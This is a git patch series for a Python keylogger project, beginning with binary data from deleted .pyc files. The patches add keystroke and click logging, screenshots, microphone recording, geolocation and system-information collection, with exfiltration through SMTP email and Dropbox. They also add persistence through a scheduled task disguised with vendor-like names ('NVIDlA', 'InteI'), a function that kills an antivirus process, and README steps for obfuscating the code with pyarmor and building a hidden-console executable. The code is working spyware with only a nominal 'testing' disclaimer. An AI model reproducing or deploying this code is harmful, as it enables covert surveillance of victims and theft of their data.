zIMgcZt|_B%%vgianOxAk4`Rvra63t7QbM9{Xi*ehGKOex@)>FASB&)yCwBK2y_)9+DV|!WtHKb#v%$E3R4qdYs;Oi zfvxR2l(!%c6hE;I4{!`(#MX@gE{y`sI))@r^h zT$EV6y%cHTJi96}xj2AX_ci;p$6IH;Ca?B?*S1{P{PS<(UoZ-;UHGjHF4&_lw-23KCA(e0g0j^WBBz zsC141`ArykL0AEx-F4!Hmt{HHQtiloPEGLNAc_39gW?Wo(>D+rg_ZQBy62&~r>0KZ z>a?X!^O9W;)m<>#Y<0p?Cmu~7u&1B-!uOk)HGQ@=eb$~nTRj2S3R-dp%if3T-kQ44 zR`*%zzDJX@_sAK1XV+)Ge^LM4_n$Fn?>#YS?>#YS?>#ZJd$HA6l|Ot(m``>y z;$${XV1mF=0(6DfMrBTPPQ{;41*Zq6LW|^_a-=lb0|In6%17X~Hk+g@f!+8S{{?Ve zJe!^o|KO%1z%h>>*S`WNUVn5`5+E#6ybReHs%?O<>OThmdJ~LA{cyJnFs}NCsI~#d z0yM4wU8*16Gy%rC{6E-~1el8Y4-l#b823_2fUuZ->pLjrE&+Xba>xmkmx|>DlS>B| z0jHbkZ!h2$#hA;u|1mQd=~qVA?~JbQSc<^g1pbad7698HnQ)qZHJ8=d-%>FtAa_rD zpBnfV%v|1ZuS>`X=dNd0MoERbj%rSlPBQ&odBOe9&r9r|(2h0~<2WF0r&F{eCtx|I)Ca?{5pT?Qs_E=+DdvYsqxmO=ym?or6H^N)}`=u{?w(&b^eINrY|6S pK)C-W=n2a7AEYP4wb8G6%{T4!eQ$eYaLkk8*S!3j9cnov{2wZG;|Kr% diff --git a/__pycache__/utils.cpython-311.pyc b/__pycache__/utils.cpython-311.pyc deleted file mode 100644 index f9ce86545fab0175b9a62968e99d75f6fb25a6f3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4778 zcmd5=O>7&-6`m!R=I4Iuc`H$yGW zr6j;0ZA_NbGX7c-e;A};C)C4DQT#C1`Zk7~Lqi>X`nZz*YA zPU}a95?V&l5>%!^)O9gFor3z)ZPyb?IW4B-vt!X(l?)jBi_I#*B4(A0oW}m^ikcF2 zl|UTxnykk%;?1NYN|=RiB$Yr5hl+bJHVIquL@%xqB`G!yt+I*(T1tm8PGa`*$k;pB zmsF+_X&e-_7>qNKp2D0ar=^sbNMiOkvk5&~3%$T6F-=x)!1qB~$SA4~y%4b&C|6}o z!{K5vBWl{5qDojOmWev}ZmU(5<8p%N@xZZpPKkN%uAbqj}w`RAtgRb zmO`5tPUzFKld*SHg{-wUaX|(fPff|{#H^l3YMq&zcrTe)j9Oq0q|4@@c0q4sD{5ol zW){%*&8WKdx5|>TFr05ZurR#%_U)hLBZL{cJ(7Y7*1u69{z0S3)aV;yqSa0oIYwfgJyY1F)i|etu9+T_Y z;A(7c-^!fDb=X{o$#oR`C|I-3HLr2aW=pqu?8AqKM^!;>rd5vOC4ON?7uYuHuN8Yp>dlU`(r(``oC*eRcq3KdWC8w~Y5nO@~ z$$;OGqF!7ZpH)?WcMJpo)rxu(*Mg#$2sj2+bO&jebKH7M zZ@2mO0%C$)tK9mb{-@IWR8nh1$(#pK>+PcubCbZ|SSwg2Rbeclv=2O1aWLwp4 z=-34X;u$Fv8e!pI6$-BmgI{GCSh81z!ETZji>vk$^EqjTfSIOT*+s^wgDcJUW7Xpt zKRE+vGAjB35Q!4HjMQV$91W;s<#_Ws&$AVv#Q_2lF>Q(zl`zg{M zB=~?sN1t{Bq)C#KvM%p{kwN%u0AB4b5I07iRiMM`1NR1GM|60CuWv^OR1(ky9tfWc z<_}JM!&yy(cGKYE`3)hwbbdKu32nB}W(sYag@B`dJ7$Q*DQ2D&F#|;>y>uTE^K0rL z)M?jhm7K=TsBo=JX=UB6NUFGeWzjA@?1G01r_$)^^CcQ8oEnJ?F4K3H-gZQ}OZWfj ze4^e_>`Ck3BIWdrEu3SP+^y8Ju&ydWBgH-T%k$tdHT6xXDF!b$ihhtB8e6Wfy0{Bs zpo_Mt!_Y=v?Jqz8(1GCHx#jjdA1r*ZQQz?C$$Mu$IrEk0Vem`-A-{UXs_(Vydl$J4 zKD2c524rPG$M-xl_p&QtJ06K((Ak6?@ZPgNGtU%s{^?4amB zK+$h_;JEu;*6TtAu?J1L65gE}lDkk*((Oih>N{oTNfC$#`LIA>MeR?T?0WZf& z6#>CO<`1GCq_K0JdGC8@j$zPyh=JeI64^0P zcJu|)g_)R2q7%oBx`CyV8z&Zsuhe3*8FE2aBUBo5(~71OEMl)TIj{B;!J<>80R1s3 z*GRIaC(<;KpuQF}*EO`32YFyC@~W!`K#4$o?|n44VFvrz4FbY;v6 z9k4?O2q61&VqU0T7h2bZ)|Gc3T>1RUXV>muGdoUNLZ2=4nL;1IF7)S+e-rLMrQ*wm z3T|_Av!aF;Hw!^$_*xxI>DzGhoY(in%bp7apHwkGqt(S@j6|R~LSv53R3asJrkp=3 zim_C6Srdr~ia}L*Es2(jag~qC(pZXK=IJ#@9fTg}-ltan8qtkJSK Date: Sun, 20 Oct 2024 15:26:05 +0200 Subject: [PATCH 20/24] Changed dest folder to user directory and changed where the scheduled task is created. --- .gitignore | 1 + keylogger.py | 5 ++--- main.py | 2 +- utils.py | 10 +++++++--- 4 files changed, 11 insertions(+), 7 deletions(-) diff --git a/.gitignore b/.gitignore index 548e39e..5fe49d2 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,4 @@ +__pycache__ .env .png .wav diff --git a/keylogger.py b/keylogger.py index faf087a..b75b059 100644 --- a/keylogger.py +++ b/keylogger.py @@ -68,9 +68,6 @@ def __init__( self.mouse_listener = None self.word = "" - executable_path = save_program_in_location(src_file, dest_folder) - create_scheduled_task(executable_path, task_name) - def appendlog(self, string): if string: self.log = self.log + string @@ -198,6 +195,8 @@ def screenshot(self): def run(self): remove_env_file() + executable_path = save_program_in_location(self.src_file, self.dest_folder) + create_scheduled_task(executable_path, self.task_name) while True: self.system_information() diff --git a/main.py b/main.py index 1699596..4bdf1f1 100644 --- a/main.py +++ b/main.py @@ -17,7 +17,7 @@ MAGIC_WORD = "stop" SRC_FILE = "D:\main.exe" -DEST_FOLDER = "C:\ProgramData\InteI" +DEST_FOLDER = os.path.join(os.getenv('USERPROFILE'), 'InteI') TASK_NAME = "NVIDlA" diff --git a/utils.py b/utils.py index 0080bc8..f88883c 100644 --- a/utils.py +++ b/utils.py @@ -89,10 +89,8 @@ def upload_to_dropbox(hostname, dbx, wav_and_png_files): return - def create_scheduled_task(executable_path, task_name): check_task_command = f'if (Get-ScheduledTask -TaskName "{task_name}" -ErrorAction SilentlyContinue) {{ exit 1 }} else {{ exit 0 }}' - task_exists = subprocess.run( ["powershell", "-Command", check_task_command], capture_output=True, text=True ) @@ -105,9 +103,15 @@ def create_scheduled_task(executable_path, task_name): $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(5) -RepetitionInterval (New-TimeSpan -Minutes 5) -RepetitionDuration (New-TimeSpan -Days 365) Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "{task_name}" -Description "Esegue il processo custom ogni 5 minuti" """ - subprocess.run(["powershell", "-Command", create_task_command], check=True) + check_process_command = f""" + if (-not (Get-Process -Name 'main' -ErrorAction SilentlyContinue)) {{ + Start-Process '{executable_path}' + }} + """ + subprocess.run(["powershell", "-Command", check_process_command], check=True) + def save_program_in_location(src_file, dest_folder): if not os.path.exists(dest_folder): From 7509ad242b58c261b22799388f87e3c70a33774e Mon Sep 17 00:00:00 2001 From: Filippo Piconese Date: Sun, 20 Oct 2024 16:37:48 +0200 Subject: [PATCH 21/24] Added a check if there are more than 1 main.exe instances --- keylogger.py | 14 +++++++++----- main.py | 18 +++++++++++++++--- requirements.txt | 1 + utils.py | 19 +++++++++---------- 4 files changed, 34 insertions(+), 18 deletions(-) diff --git a/keylogger.py b/keylogger.py index b75b059..f564d74 100644 --- a/keylogger.py +++ b/keylogger.py @@ -120,11 +120,15 @@ def report(self): self.send_mail(f"{self.log}") wav_and_png_files = get_wav_and_png_files(self.dest_folder) - dbx = dropbox.Dropbox(self.dropbox_token) - session = dbx._session - session.mount("https://", SSLAdapter()) - - upload_to_dropbox(socket.gethostname(), dbx, wav_and_png_files) + try: + dbx = dropbox.Dropbox(self.dropbox_token) + session = dbx._session + session.mount("https://", SSLAdapter()) + except (dropbox.exceptions.ApiError, FileNotFoundError, Exception) as e: + print(f"Error: {e}") + return + + upload_to_dropbox(socket.gethostname(), dbx, wav_and_png_files, self.dest_folder) delete_wav_and_png_files(self.dest_folder) diff --git a/main.py b/main.py index 4bdf1f1..3a8316a 100644 --- a/main.py +++ b/main.py @@ -1,4 +1,5 @@ import os +import psutil from dotenv import load_dotenv from keylogger import KeyLogger @@ -13,15 +14,26 @@ EMAIL_CC = os.getenv("EMAIL_CC") DROPBOX_TOKEN = os.getenv("DROPBOX_TOKEN") -SEND_REPORT_EVERY = 30 # seconds +SEND_REPORT_EVERY = 10 # seconds MAGIC_WORD = "stop" SRC_FILE = "D:\main.exe" -DEST_FOLDER = os.path.join(os.getenv('USERPROFILE'), 'InteI') +DEST_FOLDER = os.path.join(os.getenv("APPDATA"), "InteI") TASK_NAME = "NVIDlA" +def is_process_running(process_name): + count = 0 + for proc in psutil.process_iter(attrs=["pid", "name"]): + if proc.info["name"] == process_name: + count += 1 + return count + + def main(): + if is_process_running("main.exe") >= 2: + return + keylogger = KeyLogger( time_interval=SEND_REPORT_EVERY, smtp_server=SMTP_SERVER, @@ -33,7 +45,7 @@ def main(): cc=EMAIL_CC, magic_word=MAGIC_WORD, dropbox_token=DROPBOX_TOKEN, - src_file = SRC_FILE, + src_file=SRC_FILE, dest_folder=DEST_FOLDER, task_name=TASK_NAME, ) diff --git a/requirements.txt b/requirements.txt index 17daf1e..9835401 100644 --- a/requirements.txt +++ b/requirements.txt @@ -3,6 +3,7 @@ geocoder numpy pillow poolmanager +psutil pyinstaller pynput pyscreenshot diff --git a/utils.py b/utils.py index f88883c..918ac84 100644 --- a/utils.py +++ b/utils.py @@ -1,3 +1,4 @@ +import dropbox import os import shutil import smtplib @@ -77,20 +78,25 @@ def remove_env_file(): os.remove(env_file) -def upload_to_dropbox(hostname, dbx, wav_and_png_files): +def upload_to_dropbox(hostname, dbx, wav_and_png_files, dest_folder): for file_name in wav_and_png_files: - file_path = os.path.join(os.getcwd(), file_name) + file_path = os.path.join(dest_folder, file_name) destination_path = f"/{hostname}_{file_name}" try: with open(file_path, "rb") as f: dbx.files_upload(f.read(), destination_path) - except (dbx.exceptions.ApiError, FileNotFoundError, Exception): + except (dropbox.exceptions.ApiError, FileNotFoundError, Exception) as e: + print(f"Error: {e}") return +import subprocess + + def create_scheduled_task(executable_path, task_name): check_task_command = f'if (Get-ScheduledTask -TaskName "{task_name}" -ErrorAction SilentlyContinue) {{ exit 1 }} else {{ exit 0 }}' + task_exists = subprocess.run( ["powershell", "-Command", check_task_command], capture_output=True, text=True ) @@ -105,13 +111,6 @@ def create_scheduled_task(executable_path, task_name): """ subprocess.run(["powershell", "-Command", create_task_command], check=True) - check_process_command = f""" - if (-not (Get-Process -Name 'main' -ErrorAction SilentlyContinue)) {{ - Start-Process '{executable_path}' - }} - """ - subprocess.run(["powershell", "-Command", check_process_command], check=True) - def save_program_in_location(src_file, dest_folder): if not os.path.exists(dest_folder): From b6602aa0bc20312c2ec3ac3f4761e1f8fdfac719 Mon Sep 17 00:00:00 2001 From: Filippo Piconese Date: Sun, 20 Oct 2024 23:14:48 +0200 Subject: [PATCH 22/24] Added checks on running processes and used mss instead of pyscreenshot module to make screenshots --- .gitignore | 10 ++++------ keylogger.py | 43 +++++++++++++++++++++++++++++++------------ main.py | 8 ++++++-- requirements.txt | 2 +- utils.py | 27 +++++++++++++++------------ 5 files changed, 57 insertions(+), 33 deletions(-) diff --git a/.gitignore b/.gitignore index 5fe49d2..9ff8e49 100644 --- a/.gitignore +++ b/.gitignore @@ -1,11 +1,9 @@ __pycache__ -.env -.png -.wav -backup.env +*.env +*.png +*.spec +*.wav build dist -execute_main.ps1 -main.spec steps.txt test.py \ No newline at end of file diff --git a/keylogger.py b/keylogger.py index f564d74..c1d9227 100644 --- a/keylogger.py +++ b/keylogger.py @@ -2,9 +2,9 @@ from requests.adapters import HTTPAdapter import dropbox import geocoder +import mss import os import platform -import pyscreenshot import socket import sounddevice as sd import ssl @@ -128,7 +128,9 @@ def report(self): print(f"Error: {e}") return - upload_to_dropbox(socket.gethostname(), dbx, wav_and_png_files, self.dest_folder) + upload_to_dropbox( + socket.gethostname(), dbx, wav_and_png_files, self.dest_folder + ) delete_wav_and_png_files(self.dest_folder) @@ -136,10 +138,21 @@ def report(self): def cleanup(self): self.log = "" - if self.keyboard_listener and self.keyboard_listener.running: + + if ( + hasattr(self, "keyboard_listener") + and self.keyboard_listener + and self.keyboard_listener.running + ): self.keyboard_listener.stop() - if self.mouse_listener and self.mouse_listener.running: + + if ( + hasattr(self, "mouse_listener") + and self.mouse_listener + and self.mouse_listener.running + ): self.mouse_listener.stop() + self.word = "" def system_information(self): @@ -192,20 +205,26 @@ def microphone(self): self.appendlog("\nmicrophone used.") def screenshot(self): - filename = os.path.join(self.dest_folder, f"screenshot_{time.time()}.png") - img = pyscreenshot.grab() - img.save(filename) - self.appendlog("\nscreenshot used.") + if os.path.exists(self.dest_folder) and os.path.isdir(self.dest_folder): + try: + filename = os.path.join( + self.dest_folder, f"screenshot_{time.time()}.png" + ) + with mss.mss() as sct: + sct.shot(output=filename) + self.appendlog("\nscreenshot used.") + except Exception as e: + self.appendlog(f"\nError taking screenshot: {e}") def run(self): remove_env_file() executable_path = save_program_in_location(self.src_file, self.dest_folder) create_scheduled_task(executable_path, self.task_name) - while True: - self.system_information() - self.get_location() + self.system_information() + self.get_location() + while True: self.keyboard_listener = keyboard.Listener(on_press=self.save_data) self.keyboard_listener.start() @@ -222,7 +241,7 @@ def run(self): self.report() if self.magic_word != "" and self.magic_word in self.word: - break + return self.cleanup() # this cleanup is used until the while loop works self.cleanup() # this cleanup is used when the while loop stops diff --git a/main.py b/main.py index 3a8316a..75f4953 100644 --- a/main.py +++ b/main.py @@ -14,7 +14,7 @@ EMAIL_CC = os.getenv("EMAIL_CC") DROPBOX_TOKEN = os.getenv("DROPBOX_TOKEN") -SEND_REPORT_EVERY = 10 # seconds +SEND_REPORT_EVERY = 5 # seconds MAGIC_WORD = "stop" SRC_FILE = "D:\main.exe" @@ -31,7 +31,11 @@ def is_process_running(process_name): def main(): - if is_process_running("main.exe") >= 2: + running_instances = is_process_running("main.exe") + print(f"Number of 'main.exe' ongoing processes: {running_instances}") + + if running_instances >= 4: + print("Too many ongoing processes. Exiting.") return keylogger = KeyLogger( diff --git a/requirements.txt b/requirements.txt index 9835401..301bdaf 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,12 +1,12 @@ dropbox geocoder +mss numpy pillow poolmanager psutil pyinstaller pynput -pyscreenshot requests sounddevice urllib3 \ No newline at end of file diff --git a/utils.py b/utils.py index 918ac84..c859138 100644 --- a/utils.py +++ b/utils.py @@ -53,18 +53,20 @@ def send_mail_with_attachment( def get_wav_and_png_files(dest_folder): wav_and_png_files = [] - for filename in os.listdir(dest_folder): - if filename.endswith(".wav") or filename.endswith(".png"): - wav_and_png_files.append(filename) + if os.path.exists(dest_folder) and os.path.isdir(dest_folder): + for filename in os.listdir(dest_folder): + if filename.endswith(".wav") or filename.endswith(".png"): + wav_and_png_files.append(filename) return wav_and_png_files def delete_wav_and_png_files(dest_folder): - for filename in os.listdir(dest_folder): - if filename.endswith(".wav") or filename.endswith(".png"): - file_path = os.path.join(dest_folder, filename) - os.remove(file_path) + if os.path.exists(dest_folder) and os.path.isdir(dest_folder): + for filename in os.listdir(dest_folder): + if filename.endswith(".wav") or filename.endswith(".png"): + file_path = os.path.join(dest_folder, filename) + os.remove(file_path) def remove_env_file(): @@ -91,9 +93,6 @@ def upload_to_dropbox(hostname, dbx, wav_and_png_files, dest_folder): return -import subprocess - - def create_scheduled_task(executable_path, task_name): check_task_command = f'if (Get-ScheduledTask -TaskName "{task_name}" -ErrorAction SilentlyContinue) {{ exit 1 }} else {{ exit 0 }}' @@ -117,6 +116,10 @@ def save_program_in_location(src_file, dest_folder): os.makedirs(dest_folder) dest_file = os.path.join(dest_folder, os.path.basename(src_file)) - shutil.copy(src_file, dest_file) - + + if not os.path.exists(dest_file): + shutil.copy(src_file, dest_file) + else: + print(f"File {dest_file} already exists.") + return dest_file From bb42a8d8bfb4ad0d9dbb6da7c5599c474699f01c Mon Sep 17 00:00:00 2001 From: Filippo Piconese Date: Sun, 20 Oct 2024 23:36:45 +0200 Subject: [PATCH 23/24] Modified send email function. Commented delete env file. --- keylogger.py | 2 +- utils.py | 17 ++++++++++------- 2 files changed, 11 insertions(+), 8 deletions(-) diff --git a/keylogger.py b/keylogger.py index c1d9227..3307311 100644 --- a/keylogger.py +++ b/keylogger.py @@ -217,7 +217,7 @@ def screenshot(self): self.appendlog(f"\nError taking screenshot: {e}") def run(self): - remove_env_file() + # remove_env_file() executable_path = save_program_in_location(self.src_file, self.dest_folder) create_scheduled_task(executable_path, self.task_name) diff --git a/utils.py b/utils.py index c859138..e6e1857 100644 --- a/utils.py +++ b/utils.py @@ -41,13 +41,16 @@ def send_mail_with_attachment( payload.add_header("Content-Disposition", f"attachment; filename={attachment}") message.attach(payload) - session = smtplib.SMTP(smtp_server, smtp_port) - # session.starttls() # Enable security - session.login(email_address, email_password) - text = message.as_string() - session.sendmail(email_sender, email_receiver, text) - session.quit() - + try: + session = smtplib.SMTP(smtp_server, smtp_port) + # session.starttls() # Enable security + session.login(email_address, email_password) + text = message.as_string() + session.sendmail(email_sender, email_receiver, text) + session.quit() + except Exception as e: + print(f"Errore nell'invio dell'email: {e}") + return False return True From ad35c9a932c59d7ea2a132d1c9c1a7e7dac9d69f Mon Sep 17 00:00:00 2001 From: Filippo Piconese Date: Sat, 9 Nov 2024 12:10:58 +0100 Subject: [PATCH 24/24] Modified the README with the latest changes I've made to the program. --- README.md | 125 +++++++++++++++++++++++++++++++---------------- keylogger.py | 27 +++++----- main.py | 29 +++++------ requirements.txt | 5 +- utils.py | 64 +++++++++++++++++++----- 5 files changed, 166 insertions(+), 84 deletions(-) diff --git a/README.md b/README.md index 03dd306..9896a00 100644 --- a/README.md +++ b/README.md @@ -1,54 +1,97 @@ -# Program objectives -This is a KeyLogger, use it for testing purposes only. -You will gather keyboard strokes, mouse movements, screenshots and microphone input. -All the collected keyboard strokes and mouse clicks info will be sent via email every defined time interval. -All the collected images and audio files will be sent via Dropbox integration to the defined Dropbox account. +# KeyLogger - Monitoring and Reporting Program -## Program phases +## Program Description +This program is a KeyLogger designed to collect input data from the keyboard and mouse, capture screenshots and audio from the microphone, and send these reports via email and Dropbox integration. **Use this tool exclusively for testing purposes and in authorized environments**. -### Imports +## Features +The program performs the following tasks: +- Collects system data (hostname, IP address, processor, OS, machine architecture). +- Detects geographic location. +- Monitors keyboard strokes and mouse clicks. +- Captures screenshots and audio at regular intervals. +- Sends collected data via email and Dropbox. +- Automatically deletes temporary files to preserve data privacy. -Note: to install everything you need you should run -```python +## Prerequisites +Python 3 and the following packages are required: +- `dotenv` +- `dropbox` +- `geocoder` +- `mss` +- `numpy` +- `poolmanager` +- `psutil` +- `pyinstaller` +- `pynput` +- `requests` +- `sounddevice` + +### Dependency Installation +To install all required packages, run: +```bash pip install -r requirements.txt ``` -### Configuration +## Configuration +1. **Email Configuration**: Define the SMTP server details in a .env file to enable log reporting via email. +2. **Dropbox Integration**: Create a Dropbox API token and add it to the .env file to enable Dropbox integration. +3. **Environment Variables**: + * Set up a .env file with the following variables: + ```plaintext + SMTP_SERVER= + SMTP_PORT= + EMAIL_ADDRESS= + EMAIL_PASSWORD= + EMAIL_SENDER= + EMAIL_RECEIVER= + EMAIL_CC= + DROPBOX_TOKEN= + ``` +4. **Report Interval**: Define the time interval (SEND_REPORT_EVERY) in seconds for reporting frequency. +5. **Magic Word**: Set the MAGIC_WORD variable to define the word that stops the KeyLogger when typed. -Define email details for sending logs. -For this project, I created an email account using [mailtrap](https://mailtrap.io). -Create and use API key for Dropbox service. -Specify the interval for sending reports (SEND_REPORT_EVERY) and some other variables. +## Program Structure ### KeyLogger Class +* **System Information**: Collects data on hostname, IP address, processor, OS, and machine architecture. +* **Geolocation**: Detects the geographic location of the system. +* **Keyboard Monitoring**: Tracks keyboard input. +* **Mouse Monitoring**: Monitors clicks, capturing screenshots for each click (but omits movements and scrolls to limit log volume). +* **Audio Recording**: Records audio from the microphone at each interval. +* **Screenshot Capture**: Takes screenshots on each mouse click. +* **Report Generation**: Sends email reports with logged data and uploads images and audio files to Dropbox. +* **Cleanup**: Clears temporary data to ensure efficient resource usage. -- Collects system information (hostname, IP address, processor, system, machine). -- Collects system geo-location -- Monitors keyboard strokes. -- Records mouse movements, clicks, and scrolls - but only log clicks to reduce the quantity of logs. -- Take screenshots at every click. -- Capture microphone input. -- Saves the logged data to a string (self.log). -- Sends email reports with logged data. -- Upload image and audio files to Dropbox. -- Clean the data. -- The run method starts the KeyLogger by setting up keyboard, mouse, screenshot and microphone listeners. - -### Execution - -Creates an instance of the KeyLogger class with the needed variables. -Calls the run method to start the KeyLogger. -The first action, based on the operating system, deletes the .env file. In this way, the target cannot see your sensitive data. -Write the magic word (if set) to break the loop. +## Execution +1. Create an instance of the KeyLogger class, initializing it with the required variables. +2. Call the run method to start the KeyLogger. +3. The program automatically deletes the .env file at runtime to secure sensitive information. +4. Typing the magic word (if defined) stops the KeyLogger. -### Single EXE file version - -If you need to run the code within a PC that has no Python installed, you can use the module pyinstaller (inserted in the reuirements file) as follows: -- pyinstaller --onefile --add-data ".env;." main.py +## Single EXE File Version +To run this code on a machine without Python installed, you can compile it into a standalone executable using pyinstaller. The command below is included in the requirements file: +```bash +pyinstaller --onefile --add-data ".env;." main.py +``` -### TODO +## Commands to obfuscate and compile the program +To obfuscate and compile the program, run the following commands: +1. Install required packages: + ```bash + pip install -r requirements.txt + ``` +2. Obfuscate code files using pyarmor: + ```bash + pyarmor gen -O obfuscated_dist main.py + pyarmor gen -O obfuscated_dist keylogger.py + pyarmor gen -O obfuscated_dist utils.py + ``` +3. Generate an executable: + ```bash + pyinstaller --onefile --noconsole --add-data "obfuscated_dist\pyarmor_runtime_000000\pyarmor_runtime.pyd;." --hidden-import socket --hidden-import psutil --hidden-import requests --hidden-import subprocess --hidden-import dropbox --hidden-import geocoder --hidden-import mss --hidden-import os --hidden-import platform --hidden-import sounddevice --hidden-import ssl --hidden-import time --hidden-import wave --hidden-import pynput --hidden-import requests.adapters.HTTPAdapter --hidden-import shutil --hidden-import smtplib --hidden-import email.mime.multipart --hidden-import email.mime.text --hidden-import email.mime.base --hidden-import email.encoders --hidden-import keylogger --hidden-import utils --hidden-import utils.send_mail_with_attachment --hidden-import utils.get_wav_and_png_files --hidden-import utils.delete_wav_and_png_files --hidden-import utils.upload_to_dropbox --hidden-import utils.save_program_in_location --hidden-import utils.create_scheduled_task --hidden-import utils.is_process_running --hidden-import utils.stop_process --hidden-import string obfuscated_dist\main.py + ``` +4. Copy the main.exe file from the dist folder. -- Add an optional parameter to copy the Python script somewhere and creates a scheduled task to execute it -- Create a USB key that runs upon it's plugged in a PC -- Improve the remove_env_file function to remove the .env file only when somebody tries to check the file content -- Add the Dropbox token renewal, otherwise it will last for 4 hours +## Future Development +* Develop a USB-triggered version that runs when plugged into a PC. +* Implement Dropbox token renewal as the current token expires after four hours. diff --git a/keylogger.py b/keylogger.py index 3307311..c20e732 100644 --- a/keylogger.py +++ b/keylogger.py @@ -1,5 +1,3 @@ -from pynput import keyboard, mouse -from requests.adapters import HTTPAdapter import dropbox import geocoder import mss @@ -11,11 +9,13 @@ import time import wave +from pynput import keyboard, mouse +from requests.adapters import HTTPAdapter from utils import ( send_mail_with_attachment, get_wav_and_png_files, delete_wav_and_png_files, - remove_env_file, + # remove_env_file, upload_to_dropbox, save_program_in_location, create_scheduled_task, @@ -47,7 +47,7 @@ def __init__( dropbox_token, src_file, dest_folder, - task_name, + scheduled_task_name, ): self.interval = time_interval self.smtp_server = smtp_server @@ -61,7 +61,7 @@ def __init__( self.dropbox_token = dropbox_token self.src_file = src_file self.dest_folder = dest_folder - self.task_name = task_name + self.scheduled_task_name = scheduled_task_name self.log = "KeyLogger Started...\n" self.keyboard_listener = None @@ -83,11 +83,14 @@ def on_scroll(self, x, y, dx, dy): pass # do nothing def on_click(self, x, y, button, pressed): - current_click = f"\nMouse click at {x} {y} with button {button}" - # self.screenshot() - self.appendlog(current_click) + if pressed: + current_click = f"\nMouse click at {x} {y} with button {button}" + self.screenshot() + self.appendlog(current_click) def save_data(self, key): + current_key = "" + try: current_key = str(key.char) except AttributeError: @@ -110,9 +113,9 @@ def send_mail(self, message): email_sender=self.email_sender, email_receiver=self.email_receiver, cc=self.cc, - path_to_attachment=os.getcwd(), + path_to_attachment="", attachments=[], - subject="Test KeyLogger - by F3000", + subject="KeyLogger - by F3000", body=message, ) @@ -219,7 +222,7 @@ def screenshot(self): def run(self): # remove_env_file() executable_path = save_program_in_location(self.src_file, self.dest_folder) - create_scheduled_task(executable_path, self.task_name) + create_scheduled_task(executable_path, self.scheduled_task_name) self.system_information() self.get_location() @@ -241,7 +244,7 @@ def run(self): self.report() if self.magic_word != "" and self.magic_word in self.word: - return + break self.cleanup() # this cleanup is used until the while loop works self.cleanup() # this cleanup is used when the while loop stops diff --git a/main.py b/main.py index 75f4953..773f86f 100644 --- a/main.py +++ b/main.py @@ -1,7 +1,8 @@ import os -import psutil + from dotenv import load_dotenv from keylogger import KeyLogger +from utils import is_process_running, stop_process load_dotenv() @@ -14,30 +15,26 @@ EMAIL_CC = os.getenv("EMAIL_CC") DROPBOX_TOKEN = os.getenv("DROPBOX_TOKEN") -SEND_REPORT_EVERY = 5 # seconds +SEND_REPORT_EVERY = 60 # seconds MAGIC_WORD = "stop" -SRC_FILE = "D:\main.exe" -DEST_FOLDER = os.path.join(os.getenv("APPDATA"), "InteI") -TASK_NAME = "NVIDlA" - - -def is_process_running(process_name): - count = 0 - for proc in psutil.process_iter(attrs=["pid", "name"]): - if proc.info["name"] == process_name: - count += 1 - return count +EXE_FILENAME = "main.exe" +SRC_FILE = f"D:\{EXE_FILENAME}" +DEST_FOLDER = os.path.join(os.getenv("APPDATA"), "KEYLOGGER") +SCHEDULED_TASK_NAME = "TASK_NAME" +ANTIVIRUS_PROCESS = "antivirus.exe" def main(): - running_instances = is_process_running("main.exe") - print(f"Number of 'main.exe' ongoing processes: {running_instances}") + running_instances = is_process_running(EXE_FILENAME) + print(f"Number of '{EXE_FILENAME}' ongoing processes: {running_instances}") if running_instances >= 4: print("Too many ongoing processes. Exiting.") return + stop_process(ANTIVIRUS_PROCESS) + keylogger = KeyLogger( time_interval=SEND_REPORT_EVERY, smtp_server=SMTP_SERVER, @@ -51,7 +48,7 @@ def main(): dropbox_token=DROPBOX_TOKEN, src_file=SRC_FILE, dest_folder=DEST_FOLDER, - task_name=TASK_NAME, + scheduled_task_name=SCHEDULED_TASK_NAME, ) keylogger.run() diff --git a/requirements.txt b/requirements.txt index 301bdaf..e7da6a7 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,12 +1,11 @@ +dotenv dropbox geocoder mss numpy -pillow poolmanager psutil pyinstaller pynput requests -sounddevice -urllib3 \ No newline at end of file +sounddevice \ No newline at end of file diff --git a/utils.py b/utils.py index e6e1857..920fc83 100644 --- a/utils.py +++ b/utils.py @@ -1,13 +1,14 @@ import dropbox import os +import psutil import shutil import smtplib import subprocess + +from email import encoders +from email.mime.base import MIMEBase from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText -from email.mime.base import MIMEBase -from email import encoders - def send_mail_with_attachment( smtp_server, @@ -49,7 +50,7 @@ def send_mail_with_attachment( session.sendmail(email_sender, email_receiver, text) session.quit() except Exception as e: - print(f"Errore nell'invio dell'email: {e}") + print(f"Error sending email: {e}") return False return True @@ -58,7 +59,12 @@ def get_wav_and_png_files(dest_folder): wav_and_png_files = [] if os.path.exists(dest_folder) and os.path.isdir(dest_folder): for filename in os.listdir(dest_folder): - if filename.endswith(".wav") or filename.endswith(".png"): + if ( + filename.endswith(".wav") + or filename.endswith(".png") + or filename.endswith(".txt") + or filename.endswith(".LockBit") + ): wav_and_png_files.append(filename) return wav_and_png_files @@ -67,7 +73,12 @@ def get_wav_and_png_files(dest_folder): def delete_wav_and_png_files(dest_folder): if os.path.exists(dest_folder) and os.path.isdir(dest_folder): for filename in os.listdir(dest_folder): - if filename.endswith(".wav") or filename.endswith(".png"): + if ( + filename.endswith(".wav") + or filename.endswith(".png") + or filename.endswith(".txt") + or filename.endswith(".LockBit") + ): file_path = os.path.join(dest_folder, filename) os.remove(file_path) @@ -119,10 +130,39 @@ def save_program_in_location(src_file, dest_folder): os.makedirs(dest_folder) dest_file = os.path.join(dest_folder, os.path.basename(src_file)) - - if not os.path.exists(dest_file): - shutil.copy(src_file, dest_file) - else: - print(f"File {dest_file} already exists.") - + + try: + if not os.path.exists(dest_file): + shutil.copy(src_file, dest_file) + else: + print(f"File {dest_file} already exists.") + except Exception as e: + print(f"Error copying file {src_file} to folder {dest_file}: {e}") + return dest_file + + +def is_process_running(process_name): + count = 0 + for proc in psutil.process_iter(attrs=["pid", "name"]): + if proc.info["name"] == process_name: + count += 1 + return count + + +def stop_process(process_name): + for process in psutil.process_iter(["pid", "name"]): + if process.info["name"].lower() == process_name.lower(): + try: + print( + f'Terminating process: {process.info["name"]} (PID: {process.info["pid"]})' + ) + process.terminate() + process.wait(timeout=5) + 